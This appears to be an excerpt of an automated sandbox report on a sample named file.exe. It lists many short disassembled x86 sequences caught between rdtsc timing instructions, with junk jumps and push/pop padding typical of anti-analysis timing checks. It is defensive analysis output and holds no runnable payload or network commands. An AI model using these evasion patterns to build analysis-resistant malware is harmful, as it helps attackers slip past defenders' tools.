Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546263 second address: 546267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5454E4 second address: 545509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F736h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FB438C6F726h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545509 second address: 545529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54835B second address: 54837C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FB438C6F726h 0x0000000c jc 00007FB438C6F726h 0x00000012 popad 0x00000013 pop esi 0x00000014 push edi 0x00000015 jne 00007FB438C6F728h 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549B24 second address: 549B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549B28 second address: 549B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007FB438C6F734h 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FB438C6F726h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549B3D second address: 549BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FB438CB0BF8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 mov ebx, dword ptr [ebp+1247BA58h] 0x00000027 sub di, 0490h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007FB438CB0BF8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 jg 00007FB438CB0C08h 0x0000004e jne 00007FB438CB0BFEh 0x00000054 push 00000000h 0x00000056 push 00000000h 0x00000058 push ecx 0x00000059 call 00007FB438CB0BF8h 0x0000005e pop ecx 0x0000005f mov dword ptr [esp+04h], ecx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc ecx 0x0000006c push ecx 0x0000006d ret 0x0000006e pop ecx 0x0000006f ret 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jns 00007FB438CB0C0Ah 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549BFB second address: 549C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F738h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548C3D second address: 548C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548C43 second address: 548C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AD68 second address: 54AD6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CADF second address: 54CAF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007FB438C6F734h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CAF1 second address: 54CAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CAF5 second address: 54CB32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 sub edi, dword ptr [ebp+122D2C19h] 0x0000000d pushad 0x0000000e mov ch, 14h 0x00000010 mov edi, dword ptr [ebp+122D2BD5h] 0x00000016 popad 0x00000017 push 00000000h 0x00000019 mov di, ax 0x0000001c push 00000000h 0x0000001e mov di, 1BD5h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 jmp 00007FB438C6F736h 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CC91 second address: 54CC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DC27 second address: 54DC2C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EC25 second address: 54ECA9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438CB0C0Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov bx, B3BCh 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov ebx, edi 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f mov dword ptr [ebp+124550FEh], ecx 0x00000025 mov eax, dword ptr [ebp+122D02EDh] 0x0000002b mov edi, 79B99A00h 0x00000030 push FFFFFFFFh 0x00000032 jmp 00007FB438CB0BFAh 0x00000037 nop 0x00000038 jg 00007FB438CB0C08h 0x0000003e push eax 0x0000003f jo 00007FB438CB0C14h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FB438CB0C02h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ECA9 second address: 54ECAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550AF6 second address: 550AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F238A second address: 4F23BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F734h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jns 00007FB438C6F726h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FB438C6F730h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555077 second address: 555089 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB438CB0BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FB438CB0BFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555089 second address: 55508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5554AE second address: 5554EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FB438CB0BF6h 0x0000000b jmp 00007FB438CB0C09h 0x00000010 jmp 00007FB438CB0C04h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5554EE second address: 5554FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FB438C6F726h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8CEE second address: 4F8D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFBh 0x00000007 push ebx 0x00000008 jnp 00007FB438CB0BF6h 0x0000000e jng 00007FB438CB0BF6h 0x00000014 pop ebx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FB438CB0BFBh 0x0000001e jnl 00007FB438CB0BF6h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push ecx 0x00000028 pushad 0x00000029 popad 0x0000002a pop ecx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8D28 second address: 4F8D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8D2E second address: 4F8D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8D34 second address: 4F8D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8D41 second address: 4F8D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E698 second address: 55E6AA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FB438C6F726h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E6AA second address: 55E6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E6AE second address: 55E6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FB438C6F728h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E6C0 second address: 55E707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FB438CB0C08h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB438CB0C09h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E707 second address: 55E71E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C6F733h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563D30 second address: 563D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562ABB second address: 562AC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5631CF second address: 5631DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB438CB0BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563348 second address: 563361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB438C6F733h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563B4F second address: 563B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563B53 second address: 563B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563B5C second address: 563B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC282 second address: 4FC288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A534 second address: 56A54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438CB0C00h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A54A second address: 56A553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A553 second address: 56A557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5326E0 second address: 5326F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB438C6F72Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532848 second address: 532861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532861 second address: 532866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5328EE second address: 53292A instructions: 0x00000000 rdtsc 0x00000002 je 00007FB438CB0BF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB438CB0BF8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c jg 00007FB438CB0BFCh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5329FD second address: 532A02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532A02 second address: 532A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FB438CB0C04h 0x0000000f jno 00007FB438CB0BFCh 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jc 00007FB438CB0C00h 0x00000020 pushad 0x00000021 push eax 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532C7B second address: 532C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53309A second address: 5330A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A64B second address: 51A654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A654 second address: 51A65E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB438CB0BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66E8 second address: 4E66F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66F0 second address: 4E66F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A835 second address: 56A83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AB20 second address: 56AB7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007FB438CB0BF6h 0x00000010 jmp 00007FB438CB0C09h 0x00000015 jmp 00007FB438CB0C00h 0x0000001a jmp 00007FB438CB0C01h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AB7D second address: 56AB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AB83 second address: 56AB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB438CB0BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AB8D second address: 56AB9D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B162 second address: 56B171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FB438CB0BF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B171 second address: 56B175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B175 second address: 56B18C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FB438CB0BFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572BA2 second address: 572BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572BAD second address: 572BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572BB1 second address: 572BB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572EAD second address: 572EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572EB4 second address: 572F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C6F739h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB438C6F739h 0x00000013 js 00007FB438C6F732h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730A6 second address: 5730AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573239 second address: 57324D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F730h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57324D second address: 573259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FB438CB0BF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573259 second address: 573285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FB438C6F72Ah 0x00000012 jp 00007FB438C6F736h 0x00000018 jmp 00007FB438C6F730h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573390 second address: 5733C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FB438CB0C0Bh 0x0000000b jmp 00007FB438CB0BFEh 0x00000010 pushad 0x00000011 ja 00007FB438CB0BF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57352E second address: 57353E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57353E second address: 573555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB438CB0C00h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5737F2 second address: 57380C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007FB438C6F726h 0x0000000c jmp 00007FB438C6F72Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57380C second address: 573812 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573812 second address: 573818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573D97 second address: 573D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573D9B second address: 573DA5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5799AA second address: 5799B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5799B0 second address: 5799B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A222 second address: 57A228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A228 second address: 57A22E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A22E second address: 57A24C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB438CB0BF6h 0x00000009 jmp 00007FB438CB0C03h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A24C second address: 57A258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A258 second address: 57A25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A25E second address: 57A262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A262 second address: 57A266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A414 second address: 57A41F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E1E0 second address: 57E1E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
